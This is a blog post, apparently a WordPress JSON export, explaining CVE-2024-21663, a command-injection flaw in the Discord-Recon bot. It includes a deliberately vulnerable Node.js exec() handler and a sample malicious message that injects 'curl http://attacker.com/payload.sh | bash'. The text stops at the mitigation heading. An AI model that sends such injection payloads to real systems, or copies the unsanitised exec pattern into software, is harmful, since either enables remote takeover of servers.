{"id":11264,"date":"2025-03-26T14:43:26","date_gmt":"2025-03-26T14:43:26","guid":{"rendered":""},"modified":"2025-05-19T11:36:44","modified_gmt":"2025-05-19T11:36:44","slug":"cve-2024-21663-remote-code-execution-vulnerability-in-discord-recon-bot","status":"publish","type":"post","link":"https:\/\/www.ameeba.com\/blog\/cve-2024-21663-remote-code-execution-vulnerability-in-discord-recon-bot\/","title":{"rendered":"CVE-2024-21663: Remote Code Execution Vulnerability in Discord-Recon Bot"},"content":{"rendered":"

Overview<\/h2>\n

CVE-2024-21663<\/strong> is a critical remote code execution (RCE) vulnerability discovered in Discord-Recon<\/strong>, a Discord bot designed for automated bug bounty reconnaissance. This flaw allows attackers to execute arbitrary shell commands on the server hosting the bot, without requiring administrative privileges.<\/p>\n

Given that Discord-Recon interacts with user-supplied inputs through Discord messages, this vulnerability presents a serious risk to any environment where the bot is deployed without sufficient input sanitization or privilege boundaries.<\/p>\n

Vulnerability Summary<\/h2>\n
\n
\n\n\n\n\n\n\n\n\n\n\n
Field<\/th>\nDetail<\/th>\n<\/tr>\n<\/thead>\n
CVE ID<\/strong><\/td>\nCVE-2024-21663<\/td>\n<\/tr>\n
Severity<\/strong><\/td>\nHigh (CVSS Score: 8.8)<\/td>\n<\/tr>\n
Attack Vector<\/strong><\/td>\nRemote<\/td>\n<\/tr>\n
Privileges Required<\/strong><\/td>\nNone<\/td>\n<\/tr>\n
User Interaction<\/strong><\/td>\nNone<\/td>\n<\/tr>\n
Impact<\/strong><\/td>\nRemote Code Execution<\/a><\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/div>\n<\/div>\n

Affected Products<\/h2>\n
\n
\n\n\n\n\n\n
Product<\/th>\nAffected Versions<\/th>\n<\/tr>\n<\/thead>\n
Discord-Recon<\/td>\nVersions prior<\/a> to 0.0.8<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/div>\n<\/div>\n

How the Exploit Works<\/h2>\n

The vulnerability arises from unsanitized command <\/strong>execution in Discord-Recon’s<\/a> processing of user input. When the bot receives a message, it may pass input directly into a shell command via<\/a> Node.js\u2019s child_process.exec()<\/code> or Python\u2019s os.system()<\/code>\/subprocess<\/code> methods, depending on implementation.<\/p>\n

An attacker can craft a message containing shell metacharacters (e.g., ;<\/code>, &&<\/code>, |<\/code>) to break out of the intended command and execute arbitrary code<\/a> on the server.<\/p>\n

Conceptual Code Example<\/h2>\n

Below is a conceptual example of vulnerable code<\/a> within a Node.js implementation of Discord-Recon:<\/p>\n

\n
\/\/ Vulnerable command<\/a> handler (Node.js example)<\/span>
\nconst<\/span> { exec } = require<\/span>('child_process'<\/span>);<\/code><\/code>client.on<\/span>(‘message’<\/span>, (message<\/span><\/span>) => {
\nif<\/span> (message.content<\/span>.startsWith<\/span>(‘!scan’<\/span>)) {
\nconst<\/span> domain<\/a> = message.content<\/span>.split<\/span>(‘ ‘<\/span>)[1<\/span>]; \/\/ no input validation<\/a>!<\/span>
\nexec<\/span>(`nmap ${domain}<\/span><\/span>`, (error, stdout, stderr<\/span><\/span>) => {
\nif<\/span> (error) {
\nmessage.channel<\/span>.send<\/span>(`Error: ${error.message}<\/span><\/span>`);
\nreturn<\/span>;
\n}
\nmessage.channel<\/span>.send<\/span>(`Scan Results:\\n${stdout}<\/span><\/span>`);
\n});
\n}
\n});<\/p>\n<\/div>\n<\/div>\n

Malicious input example from Discord:<\/strong><\/p>\n

\n
!scan ; curl http:\/\/attacker.com\/payload.sh | bash<\/span>
\n<\/code><\/div>\n<\/div>\n

This input causes the bot to execute the entire payload: nmap ; curl http:\/\/attacker.com\/payload.sh | bash<\/code>, resulting in full code execution<\/a> on the host.<\/p>\n

Recommendations for Mitigation<\/h2>\n

To mitigate CVE-2024-21663:<\/p>\n